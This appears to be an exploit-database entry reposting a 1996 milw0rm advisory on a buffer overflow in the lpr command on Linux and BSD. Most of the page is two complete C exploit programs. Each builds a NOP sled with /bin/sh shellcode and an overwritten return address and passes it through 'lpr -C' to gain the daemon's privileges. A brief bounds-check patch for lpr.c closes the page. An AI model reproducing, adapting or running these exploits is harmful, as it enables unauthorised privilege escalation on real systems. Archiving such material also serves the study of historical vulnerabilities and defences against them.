Linux and BSD LPR Exploit

vendor:

Not mentioned

by:

Not mentioned

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Not mentioned

Affected Version From: Not mentioned

Affected Version To: Not mentioned

Patch Exists: NO

Related CWE: Not mentioned

CPE: Not mentioned

Metasploit:

Other Scripts:

Platforms Tested: Linux and BSD

Not mentioned

The Linux and BSD LPR exploits are buffer overflow vulnerabilities that allow an attacker to execute arbitrary code with the privileges of the lpr daemon. The exploit code overflows a buffer in the lpr command, allowing the attacker to overwrite the return address and execute shellcode.

Mitigation:

Apply patches or updates provided by the vendor. Disable the vulnerable service if not needed.

Source

Exploit-DB raw data:

-------------------------------------- linux_lpr_exploit.c ----------
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
------------------------------------------- bsd_lpr_exploit.c ------
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------------------------------------------------------------------------

  Here is a little patch -- see file lpr.c, function card():
("!!" marks added lines)

--------------------------------------------------------------------------
static void card(c, p2)
        register int c;
        register char *p2;
{
        char buf[BUFSIZ];
        register char *p1 = buf;
        register int len = 2;


        if (strlen(p2) > BUFSIZ-2)                     /* !! */
        {                                              /* !! */
                printf("No, thanks...\n");             /* !! */
                exit(1);                               /* !! */
        }
        *p1++ = c;
        while ((c = *p2++) != '\0') {
                *p1++ = (c == '\n') ? ' ' : c;
                len++;
        }
        *p1++ = '\n';
        write(tfd, buf, len);
}


// milw0rm.com [1996-10-25]